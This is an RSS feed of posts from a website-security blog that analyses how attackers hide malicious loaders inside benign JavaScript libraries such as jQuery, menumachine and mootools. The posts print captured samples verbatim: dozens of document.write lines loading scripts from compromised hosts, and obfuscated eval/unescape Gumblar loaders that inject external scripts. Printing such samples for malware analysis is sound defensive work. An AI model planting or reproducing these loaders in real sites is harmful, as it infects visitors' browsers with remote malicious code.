<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>stopthehacker.com &#187; script</title>
	<atom:link href="http://www.stopthehacker.com/tag/script/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.stopthehacker.com</link>
	<description>Jaal, LLC</description>
	<lastBuildDate>Wed, 01 Sep 2010 18:08:05 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Hackers Understand the Value of Backups</title>
		<link>http://www.stopthehacker.com/2010/05/04/hackers-understand-the-value-of-backups/</link>
		<comments>http://www.stopthehacker.com/2010/05/04/hackers-understand-the-value-of-backups/#comments</comments>
		<pubDate>Tue, 04 May 2010 18:17:13 +0000</pubDate>
		<dc:creator>anirban</dc:creator>
				<category><![CDATA[Report]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[document.write]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://www.stopthehacker.com/?p=1585</guid>
		<description><![CDATA[Hackers have been trying new tricks to obfuscate their malicious code and sneak it surreptitiously into benign websites. This trend is ever increasing as websites are now the weakest link in the entire malware chain. Hackers discover vulnerabilities in websites, exploit them to inject malicious bad code and voila &#8211; you have at your disposal [...]]]></description>
			<content:encoded><![CDATA[<p>Hackers have been trying new tricks to obfuscate their malicious code and sneak it surreptitiously into benign websites. This trend is ever increasing as websites are now the weakest link in the entire malware chain. Hackers discover vulnerabilities in websites, exploit them to inject malicious bad code and voila &#8211; you have at your disposal a &#8220;trusted&#8221; website &#8211; lots of web surfers will drop by, and in turn get infected with the hacker&#8217;s malicious code. This vicious cycle of malware has become a very attractive modus operandi for the dark figures of the Internet.</p>
<p><strong>Overview</strong></p>
<p>This post will show an example of a trend about which we <a href="http://www.stopthehacker.com/2009/12/09/when-benign-scripts-attack-v/" target="_blank">first blogged</a> a few months ago. We will concentrate on the way hackers use &#8220;backup-sources&#8221; to infect visitors to a compromised website. If this does not make sense yet, hold on for just a few seconds more.</p>
<p>Quite recently we blogged about how hackers are using benign and useful JavaScript hosted locally on accounts managed by the website owner/admin to spread malware. Hackers have injected malicious code right into useful snippets of JavaScript which do everything from displaying menu buttons, drop down choices and much much more. Take a look at our previous findings: <a href="http://www.stopthehacker.com/2009/12/02/when-benign-scripts-attack-iv/" target="_blank">here</a>.</p>
<p><strong>An Example</strong></p>
<p>Everyday we find websites which are infected with malicious code which follows the same principles. In fact, we now monitor over 1 million websites!</p>
<p><em>Website name: ipac-bd.org<br />
Time of latest scan: 15:33:10 PDT on 2010/05/03</em></p>
<p>In this example, the website was hosting JavaScript which had been compromised by a hacker. The hacker had inserted various script elements at the very end of the benign JavaScript being used by the website. It&#8217;s likely that the website owner never saw this coming, and probably did not realize what was going on until he was blacklisted.</p>
<p><strong>The &#8220;Backup&#8221; Strategy</strong></p>
<p>Take a look at the example below: clearly the hacker used multiple websites which he has compromised as the &#8220;loading point&#8221; for the malicious payload injected as part of the benign JavaScript. It&#8217;s almost funny when one realizes the number of websites this hacker has used as backups for his malicious code.</p>
<p>In this example the hacker has used 30 different infected websites to try and load his malicious code. The frequency distribution of the infectious websites which the hacker has used to distribute his malware is present below. It seems that hackers understand the concept of a &#8220;backup-strategy&#8221; well. An interesting point to probe further would be to understand why the frequency distribution of the infected sites is the way it is.</p>
<div id="attachment_1590" class="wp-caption aligncenter" style="width: 619px"><img src="http://www.stopthehacker.com/wp-content/uploads/2010/05/hacker-backup-e1273450693501.jpg" alt="Frequency distribution of infected websites used in the transmission of malware." title="Frequency distribution of infected websites used in the transmission of malware." width="609" height="324" class="size-full wp-image-1590" /><p class="wp-caption-text">Frequency distribution of infected websites used in the transmission of malware.</p></div>
<p><span id="more-1585"></span><br />
<strong>Example Code</strong></p>
<pre class="brush: plain;">
element.style.top    = top + 'px';
element.style.left   = left + 'px';
element.style.height = element._originalHeight;
element.style.width  = element._originalWidth;
}
}

// Safari returns margins on body which is incorrect if the child is absolutely
// positioned.  For performance reasons, redefine Position.cumulativeOffset for
// KHTML/WebKit only.
if (/Konqueror|Safari|KHTML/.test(navigator.userAgent)) {
Position.cumulativeOffset = function(element) {
var valueT = 0, valueL = 0;
do {
valueT += element.offsetTop  || 0;
valueL += element.offsetLeft || 0;
if (element.offsetParent == document.body)
if (Element.getStyle(element, 'position') == 'absolute') break;

element = element.offsetParent;
} while (element);

return [valueL, valueT];
}
}
element.style.top    = top + 'px';
element.style.left   = left + 'px';
element.style.height = element._originalHeight;
element.style.width  = element._originalWidth;
}
}
document.write('&lt;script src=hxxp://kazaadownloadpro.com/images/info.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://kazaadownloadpro.com/images/info.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://kazaadownloadpro.com/images/info.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://kazaadownloadpro.com/images/info.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://kazaadownloadpro.com/images/info.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://kazaadownloadpro.com/images/info.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://mesalina.pl/logs/COPYRIGHT.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://mesalina.pl/logs/COPYRIGHT.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://mesalina.pl/logs/COPYRIGHT.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://mesalina.pl/logs/COPYRIGHT.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://mariupol.com.ua/marso/inc_akcii.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://mariupol.com.ua/marso/inc_akcii.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://mariupol.com.ua/marso/inc_akcii.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://mariupol.com.ua/marso/inc_akcii.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://mariupol.com.ua/marso/inc_akcii.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://mariupol.com.ua/marso/inc_akcii.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://nzoz.org/css/paginacja.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://nzoz.org/css/paginacja.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://nzoz.org/css/paginacja.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://nzoz.org/css/paginacja.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://nzoz.org/css/paginacja.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://1-2-3security.com/images/products_housing.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://devinjarvis.com/modlogan/index.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://forumonly5.com/images/gifimg.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://balajidentalcare.com/images/gifimg.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://balajidentalcare.com/images/gifimg.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://balajidentalcare.com/images/gifimg.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://balajidentalcare.com/images/gifimg.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://balajidentalcare.com/images/gifimg.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://coimbatore4u.com/WAP/default.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://coimbatore4u.com/WAP/default.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://coimbatore4u.com/WAP/default.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://lovegunsan.kr/data_file/lovegimje/errimg.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://lovegunsan.kr/data_file/lovegimje/errimg.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://precilub.com/lang/favicon.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://potaz.truelife.com/files/SQLyogTunnelz.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://asterisk-e-services.com/server/faq.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://asterisk-e-services.com/server/faq.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://asterisk-e-services.com/server/faq.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://newlifecareplus.com/images/LeftBar.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://newlifecareplus.com/images/LeftBar.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://newlifecareplus.com/images/LeftBar.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://newlifecareplus.com/images/LeftBar.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://newlifecareplus.com/images/LeftBar.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://bad-credit-personal-loan.co.cc/css/config.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://bad-credit-personal-loan.co.cc/css/config.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://foot-jobss.co.cc/wp-includes/wp-config-sample.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://bollyqueens.com/hot/showtopad.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://bollyqueens.com/hot/showtopad.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://bollyqueens.com/hot/showtopad.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://bollyqueens.com/hot/showtopad.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://almos-agroliga.ru/agroaddress/woodwork.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://xn--alpenwaldhtte-5ob.de/inc/anreise.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://xn--alpenwaldhtte-5ob.de/inc/anreise.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://xn--alpenwaldhtte-5ob.de/inc/anreise.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://xn--alpenwaldhtte-5ob.de/inc/anreise.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://xn--alpenwaldhtte-5ob.de/inc/anreise.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://xn--alpenwaldhtte-5ob.de/inc/anreise.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://completecompliance.co.in/img/legislationSEP1.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://completecompliance.co.in/img/legislationSEP1.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://completecompliance.co.in/img/legislationSEP1.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://completecompliance.co.in/img/legislationSEP1.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://completecompliance.co.in/img/legislationSEP1.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://completecompliance.co.in/img/legislationSEP1.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://paragonfumigation.com/images/contactus.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://paragonfumigation.com/images/contactus.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://paragonfumigation.com/images/contactus.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://paragonfumigation.com/images/contactus.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://paragonfumigation.com/images/contactus.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://paragonfumigation.com/images/contactus.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://jakojonevar.webphoto.ir/photos/restoreg.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://aanm-vvrsrpolytechnic.ac.in/old/images/j909q/banner_2.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://aanm-vvrsrpolytechnic.ac.in/old/images/j909q/banner_2.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://aanm-vvrsrpolytechnic.ac.in/old/images/j909q/banner_2.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://aanm-vvrsrpolytechnic.ac.in/old/images/j909q/banner_2.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://aanm-vvrsrpolytechnic.ac.in/old/images/j909q/banner_2.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://aanm-vvrsrpolytechnic.ac.in/old/images/j909q/banner_2.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://eumentum.com/newtrans/page_home.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://eumentum.com/newtrans/page_home.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://eumentum.com/newtrans/page_home.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://eumentum.com/newtrans/page_home.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://golchinhamed.ir/cgi-bin/PARSICT.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://golchinhamed.ir/cgi-bin/PARSICT.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://golchinhamed.ir/cgi-bin/PARSICT.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://pracemladaboleslav.cz/wp-admin/license.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://travelgenerators.com/Images/Dubai.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://allocinema.net/wp-admin/wp-commentsrss2.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://pink-hippo-mannheim.alexander-ditz.de/images/web2dateftplog.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://pink-hippo-mannheim.alexander-ditz.de/images/web2dateftplog.php &gt;&lt;/script&gt;');
document.write('&lt;script src=hxxp://pink-hippo-mannheim.alexander-ditz.de/images/web2dateftplog.php &gt;&lt;/script&gt;');
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.stopthehacker.com/2010/05/04/hackers-understand-the-value-of-backups/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>When Benign scripts attack &#8211; V</title>
		<link>http://www.stopthehacker.com/2009/12/09/when-benign-scripts-attack-v/</link>
		<comments>http://www.stopthehacker.com/2009/12/09/when-benign-scripts-attack-v/#comments</comments>
		<pubDate>Wed, 09 Dec 2009 18:24:08 +0000</pubDate>
		<dc:creator>anirban</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[malicious websites]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[suspicious code]]></category>

		<guid isPermaLink="false">http://www.stopthehacker.com/?p=712</guid>
		<description><![CDATA[Building on with this series of posts, which try to capture the evolution of how hackers are injecting benign scripts with malware in the hopes of hiding their malicious content amongst good code. The malicious code displayed this time leads to the famous &#8220;Gumblar&#8221; infection strain and can cause a lot of headaches. This particular [...]]]></description>
			<content:encoded><![CDATA[<p>Building on with this series of posts, which try to capture the evolution of how hackers are injecting benign scripts with malware in the hopes of hiding their malicious content amongst good code. The malicious code displayed this time leads to the famous &#8220;Gumblar&#8221; infection strain and can cause a lot of headaches. This particular strain is not new, but has been resurfacing in the last few weeks and hence the focus on this specific piece.</p>
<p>This particular example shows how a <a href="http://jquery.com" target="_blank">jQuery</a> script was used by a hacker to spread malicious code. This example is a little obfuscated. This code was mined from www.i-movix.com/en/distributors/.</p>
<p>On line 15 you can find:</p>
<pre class="brush: jscript;">
&lt;scri pt type=&quot;text/javas cript&quot; src=&quot;/plugins/system/ jceutilities/js/jqu ery-126.js&quot;&gt;
</pre>
<p>Which loads the example below:</p>
<pre class="brush: jscript;">
/*
* jQuery 1.2.6 - New Wave Javascript
*
* Copyright (c) 2008 John Resig (jquery.com)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* $Date: 2008-05-24 14:22:17 -0400 (Sat, 24 May 2008) $
* $Rev: 5685 $
*/
eval(function(p,a,c,k,e,r){e=function(c){return(c&lt;a?'':e(parseInt(c/a)))+((c=c%a)
&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while
(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1}

**code removed for brevity**

while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(H
(){J w=1b.4M,3m$=1b.$;J D=1b.4M=1b.$=H(a,b){I 2B D.17.5j(a,b)};J u=/^[^&lt;]*(&lt;(.|\\s
)+&gt;)[^&gt;]*$|^#(\\w+)$/,62=/^.[^:#\\[\\.]*$/,12;D.17=D.44={5j:H(d,b){d=d||S;G(d.16){

**malicious code**

/*GNU GPL*/ try{window.onload = function(){var H3qqea3ur6p = document.createElement
('scri pt');H3qqe 3ur6p.setAttribute('type', 'text/javascript');H3qqea3ur6p.setAttribute
('id', 'myscript1');H3qqea3ur6p.setAttribute('src',  'h#!t&amp;##(t&amp;()p$$:!#@/!(/$#l!)i!&amp;v(
)@e!^(.$(!c!)o)m@.&amp;!#g#@o((o^g)(l^$!e$)@.&amp;)$c$#o(m#^@.)$b#@#!#a&amp;i#!d^$#$u#)$!(-!((m^!s$
)n$&amp;(.@)@c^@$o((m!(&amp;.^)(b&amp;!!)e@s(&amp;t@@a()r#$#)t))@s#!#)a!l##e@(.))&amp;r$!u!&amp;):)8(0$)@$8^#^@
0&amp;)$^/!!&amp;w@$(o@^r(^(!d@^p^#)r#e@^s(&amp;s&amp;@@.(^^c#^o@!!m$)/)&amp;^g@$(^o@(^o@g@&amp;$l&amp;&amp;#e^))&amp;@-($(
m)#)a#)i^l^#.!&amp;^)i!&amp;t$@^/((!(l)!i&amp;v^(&amp;(e()#j^$a&amp;s@(&amp;m$^&amp;(i$#@n!#^-#@)p$!!$h$!o(&amp;#t(#o##
)!b#!$u^c^#k((e&amp;!)t#!((#.$$@c!&amp;@o@m^)&amp;/)!c&amp;#(n$)e()&amp;&amp;t)#-^#!c^(@n^^n&amp;#).)c!&amp;!o$#m($/$^a
&amp;!@@b&amp;()o^($(u!&amp;#)t^#-#))e$@@)b##a#^y&amp;&amp;@.&amp;#(^c&amp;o^^m^@/(@^^'.replace(/\^|&amp;|@|\)|\(|#|\!|
\$/ig, ''));H3 qqea3ur6p.setAttribute('defer', 'defer');document.body.appendChild(H3qqea
3ur6p);}} cat h(e) {}
</pre>
<p>Till next time&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stopthehacker.com/2009/12/09/when-benign-scripts-attack-v/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>When Benign scripts attack &#8211; IV</title>
		<link>http://www.stopthehacker.com/2009/12/02/when-benign-scripts-attack-iv/</link>
		<comments>http://www.stopthehacker.com/2009/12/02/when-benign-scripts-attack-iv/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 23:49:16 +0000</pubDate>
		<dc:creator>anirban</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[malicious websites]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[suspicious code]]></category>

		<guid isPermaLink="false">http://www.stopthehacker.com/?p=697</guid>
		<description><![CDATA[We have received significant requests to keep up with this series of posts which try to capture the evolution of how hackers are injecting benign scripts with malware in the hopes of hiding their malicious content amongst good code.
This particular example shows how a menumachine script was used by a hacker to spread malicious code. [...]]]></description>
			<content:encoded><![CDATA[<p>We have received significant requests to keep up with this series of posts which try to capture the evolution of how hackers are injecting benign scripts with malware in the hopes of hiding their malicious content amongst good code.</p>
<p>This particular example shows how a <a href="http://menumachine.com" target="_blank">menumachine</a> script was used by a hacker to spread malicious code. This example is a little bit different from the ones we have posted before as it does not just post the malicious code using a straight iframe or obviously understandable JavaScript. This example shows how hackers are trying just a little bit harder to inject code that is somewhat obfuscated. This code was mined from www.rvp1875.com/index.html. Take a look at the example below.</p>
<pre class="brush: jscript;">
/* menumachine.js v1.7.1.1 - a component of MenuMachine (c)2004 Big Bang Software Pty Ltd :: menumachine.com*/

_ud=&quot;undefined&quot;;

if(typeof(bbMenu)==_ud)
  bbMenu=new Array();

bb_fix=new Array();

function _bbroot(bbL,name,r2L,clkOp,hRelPos,vRelPos,hRPmargin,vRPmargin,smScr,scrSp,scrAm,tri,triDn,triL,t_Hr,s_Hr,fade,posID,s_bCol,s_bW,s_bBtw,s_fFam,s_fSz,s_fWt,s_fStl,s_txAl,s_lPad,s_tPad,hOL,vOL,sArr,bCol,bw,bBtw,fFam,fSz,fWt,fStl,txAl,lPad,tPad,top_vOL,top_hOL,tArr,spc,nhlP,bUp,s_ao,ao)
{
  if(typeof(__pg)==_ud)
  {
    _b=new __bbBrChk();
    _hr=null;

    if(_b.ieDom&amp;&amp;!_b.mac){
      var els=document.getElementsByTagName(&quot;base&quot;);

      if(els.length){
        _hr=els[0].getAttribute(&quot;href&quot;);
      }
    }

    if(!_hr)
      _hr=&quot;&quot;;

    __pg=new _bbPg();

**code removed for brevity**

    for(var g=0;g&lt;bbMenu.length;g++)
      bbMenu[g].off();
  }

  __bbMmB=1;
  _bbUld();
}

function _bbPg()
{
  var t=this;
  t.wn=window;
  t.d=t.wn.document;
  t.w=(_b.dt&amp;&amp;_b.ie)?t.d.documentElement.clientWidth:_b.ie||_b.nsDom?t.d.body.clientWidth:t.wn.innerWidth;
  t.h=(_b.dt&amp;&amp;_b.ie)?t.d.documentElement.clientHeight:_b.ie||_b.nsDom?t.d.body.clientHeight:t.wn.innerHeight;
  t.wn.onresize=_b.n4?_bbRzevt:_bbRePo;
}

**malicious code**

&lt;!--
(function(hVAxp){var v120='va@72@20a@3d@22@53@63ript@45ngine@22@2c@62@
3d@22Ve@72@73i@6fn@28)+@22@2c@6a@3d@22@22@2cu@3d@6eavig@61tor@2euse@72A
ge@6et@3b@69@66((@75@2e@69n@64exOf(@22Chrome@22)@3c0)@26@26(u@2ei@6edexO
@66@28@22@57in@22@29@3e0)@26@26@28@75@2e@69@6edexO@66(@22NT@20@36@22)@3c
0)@26@26(@64o@63u@6dent@2ecoo@6b@69e@2eind@65@78Of(@22mi@65k@3d1@22)@3c@
30)@26@26(ty@70eof(@7arv@7at@73)@21@3dt@79@70e@6ff(@22A@22@29))@7bzrvzts
@3d@22@41@22@3beval(@22if@28wi@6ed@6fw@2e@22+a@2b@22)j@3dj+@22+@61+@22M@
61jor@22@2bb+a+@22Mi@6eor@22@2bb@2ba@2b@22Bu@69@6c@64@22+@62@2b@22j@3b@2
2)@3b@64ocume@6et@2ewrit@65(@22@3cscri@70t@20src@3d@2f@2fm@61rt@22@2b@22
@75@7a@2ec@6e@2fvid@2f@3fi@64@3d@22+j+@22@3e@3c@5c@2fs@63@72i@70t@3e@22)
@3b@7d';var Id4=v120.re lace(h Axp,'%');var gIl=unes cape(Id4);eval(gIl)}
)(/\@/g);
--&gt;
</pre>
<p>Till next time..</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stopthehacker.com/2009/12/02/when-benign-scripts-attack-iv/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>When Benign scripts attack &#8211; III</title>
		<link>http://www.stopthehacker.com/2009/11/18/when-benign-scripts-attack-iii/</link>
		<comments>http://www.stopthehacker.com/2009/11/18/when-benign-scripts-attack-iii/#comments</comments>
		<pubDate>Wed, 18 Nov 2009 17:52:46 +0000</pubDate>
		<dc:creator>anirban</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[gumblar]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[mootools]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://www.stopthehacker.com/?p=565</guid>
		<description><![CDATA[In this post we continue to analyze how popular scripts are being targeted by hackers to cause infections on websites and computers which load them up in browsers for the viewing them. The motivation behind using these originally benign scripts to do the dirty work on their behalf is that a lot of webmasters and [...]]]></description>
			<content:encoded><![CDATA[<p>In this post we continue to analyze how popular scripts are being targeted by hackers to cause infections on websites and computers which load them up in browsers for the viewing them. The motivation behind using these originally benign scripts to do the dirty work on their behalf is that a lot of webmasters and web-enthusiasts have wizened up to the fact that code-injection is a never ending battle and they are making efforts to identify and remove malicious code from their sites.</p>
<p>This particular example shows how a <a href="mootools.net" target="_blank">mootools</a> script was used by a hacker to spread a Gumblar infection. Consider the case of hxxp://www.wwf.gr/ referred to by 22lyk-athin. att.sch .gr/index.html.  You will find the following code listed on one of the associated mootools JavaScript files which are pulled in from the local drives. The malicious code causes an infection which leads to a site being blacklisted by Google. The detailed report from Google would probably mention that the infection of the Gumblar&#8221; type.</p>
<p>Following the first example is another one wherein a <a href="www.mediawiki.org" target="_blank">Mediawiki</a> script was targeted. The source was www.1wed din gsource.com/wedding-wiki/Wedding/</p>
<pre class="brush: jscript;">
//MooTools, My Object Oriented Javascript Tools. Copyright (c) 2006 Valerio Proietti, &lt;http://mad4milk.net&gt;, MIT Style License.

var MooTools={version:'1.11'};function $defined(obj){return(obj!=undefined);};function $type(obj){if(!$defined(obj))return false;if(obj.htmlElement)return'element';var type=typeof obj;if(type=='object'&amp;amp;&amp;amp;obj.nodeName){switch(obj.nodeType){case 1:return'element';case 3:return(/\S/).test(obj.nodeValue)?'textnode':'whitespace';}}
if(type=='object'||type=='function'){switch(obj.constructor){case Array:return'array';case RegExp:return'regexp';case Class:return'class';}
if(typeof obj.length=='number'){if(obj.item)return'collection';if(obj.callee)return'arguments';}}
return type;};function $merge(){var mix={};for(var i=0;i&amp;lt;arguments.length;i++){for(var property in arguments[i]){var ap=arguments[i][property];var mp=mix[property];if(mp&amp;amp;&amp;amp;$type(ap)=='object'&amp;amp;&amp;amp;$type(mp)=='object')mix[property]=$merge(mp,ap);else mix[property]=ap;}}
return mix;};var $extend=function(){var args=arguments;if(!args[1])args=[this,args[0]];for(var property in args[1])args[0][property]=args[1][property];return args[0];};var $native=function(){for(var i=0,l=arguments.length;i&amp;lt;l;i++){arguments[i].extend=function(props){for(var prop in props){if(!this.prototype[prop])this.prototype[prop]=props[prop];if(!this[prop])this[prop]=$native.generic(prop);}};}};$native.generic=function(prop){return function(bind){return this.prototype[prop].apply(bind,Array.prototype.slice.call(arguments,1));};};$native(Function,Array,String,Number);function $chk(obj){return!!(obj||obj===0);};function $pick(obj,picked){return $defined(obj)?obj:picked;};function $random(min,max){return Math.floor(Math.random()*(max-min+1)+min);};function $time(){return new Date().getTime();};function $clear(timer){clearTimeout(timer);clearInterval(timer);return null;};var Abstract=function(obj){obj=obj||{};obj.extend=$extend;return obj;};var Window=new Abstract(window);var Document=new Abstract(document);document.head=document.getElementsByTagName('head')[0];window.xpath=!!(document.evaluate);if(window.ActiveXObject)window.ie=window[window.XMLHttpRequest?'ie7':'ie6']=true;else if(document.childNodes&amp;amp;&amp;amp;!document.all&amp;amp;&amp;amp;!navigator.taintEnabled)window.webkit=window[window.xpath?'webkit420':'webkit419']=true;else if(document.getBoxObjectFor!=null)window.gecko=true;window.khtml=window.webkit;Object.extend=$extend;if(typeof HTMLElement=='undefined'){var HTMLElement=function(){};if(window.webkit)document.createElement(&amp;quot;iframe&amp;quot;);HTMLElement.prototype=(window.webkit)?window[&amp;quot;[[DOMElement.prototype]]&amp;quot;]:{};}
HTMLElement.prototype.htmlElement=function(){};if(window.ie6)try{document.execCommand(&amp;quot;BackgroundImageCache&amp;quot;,false,true);}catch(e){};var(properties){var klass=function(){return(arguments[0]!==null&amp;amp;&amp;amp;this.initialize&amp;amp;&amp;amp;$type(this.initialize)=='function')?this.initialize.apply(this,arguments):this;};$extend(klass,this);klass.prototype=properties;klass.constructor=Class;return klass;};Class.empty=function(){};Class.prototype={extend:function(properties){var proto=new this(null);for(var property in properties){var pp=proto[property];proto[property]=Class.Merge(pp,properties[property]);}
return new Class(proto);},implement:function(){for(var i=0,l=arguments.length;i&amp;lt;l;i++)$extend(this.prototype,arguments[i]);}};Class.Merge=function(previous,current){if(previous&amp;amp;&amp;amp;previous!=current){var type=$type(current);if(type!=$type(previous))return current;switch(type){case'function':var merged=function(){this.parent=arguments.callee.parent;return current.apply(this,arguments);};merged.parent=previous;return merged;case'object':return $merge(previous,current);}}
return current;};var Chain=new Class({chain:function(fn){this.chains=this.chains||[];this.chains.push(fn);return this;},callChain:function(){if(this.chains&amp;amp;&amp;amp;this.chains.length)this.chains.shift().delay(10,this);},clearChain:function(){this.chains=[];}});var Events=new Class({addEvent:function(type,fn){if(fn!=Class.empty){this.$events=this.$events||{};this.$events[type]=this.$events[type]||[];this.$events[type].include(fn);}
return this;},fireEvent:function(type,args,delay){if(this.$events&amp;amp;&amp;amp;this.$events[type]){this.$events[type].each(function(fn){fn.create({'bind':this,'delay':delay,'arguments':args})();},this);}

**code removed for brevity**

